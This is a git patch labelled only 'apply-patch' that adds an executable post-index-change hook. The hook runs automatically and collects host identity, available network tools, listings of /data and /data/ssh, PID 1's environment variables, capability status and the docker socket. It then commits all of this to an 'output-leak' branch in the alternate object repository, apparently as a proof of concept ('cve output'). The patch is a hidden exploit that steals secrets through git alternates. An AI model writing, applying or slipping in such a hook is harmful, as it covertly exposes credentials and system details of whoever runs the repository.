From eddb9f80b09663ac4362899705bf57eabc52d582 Mon Sep 17 00:00:00 2001 From: w10019user Date: Wed, 25 Nov 2026 00:22:01 +0300 Subject: [PATCH] apply-patch --- hooks/post-index-change | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..7c743fb --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,10 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +id; hostname; uname -a; echo ---BIN---; for b in curl wget nc socat python3 perl psql openssl busybox; do command -v $b || echo "no:$b"; done; echo ---DATA---; ls -la /data; echo ---SSH---; ls -la /data/ssh 2>/dev/null; echo ---ENV1---; cat /proc/1/environ | tr "\0" "\n" | sort | head -40; echo ---CAPS---; grep -E "CapEff|Seccomp" /proc/self/status; ls -la /var/run/docker.sock /run/docker.sock 2>/dev/null +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"